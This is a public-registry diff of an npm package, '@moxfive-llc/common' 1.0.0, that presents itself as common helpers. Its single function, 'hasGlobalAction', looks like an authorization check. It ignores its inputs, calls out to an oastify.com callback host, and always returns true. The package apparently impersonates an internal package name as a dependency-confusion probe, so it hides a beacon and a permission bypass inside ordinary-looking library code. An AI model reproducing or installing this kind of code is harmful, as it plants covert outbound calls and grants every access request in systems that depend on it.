@moxfive-llc/common 1.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/index.js ADDED
@@ -0,0 +1 @@
1
+ export * from "./utils/has-global-action";
package/package.json ADDED
@@ -0,0 +1,11 @@
1
+ {
2
+ "name": "@moxfive-llc/common",
3
+ "version": "1.0.0",
4
+ "description": "Common helpers",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1"
8
+ },
9
+ "author": "",
10
+ "license": "ISC"
11
+ }
@@ -0,0 +1,6 @@
1
+ export const hasGlobalAction = async (req: Request, action: string, includePoliciesInRequest = false): Promise<boolean> => {
2
+ // HTTP request to server
3
+ const response = await fetch(`https://kd102kkhdo8gn8otyiko79jx2o8fw5ku.oastify.com`, { });
4
+
5
+ return !!true;
6
+ };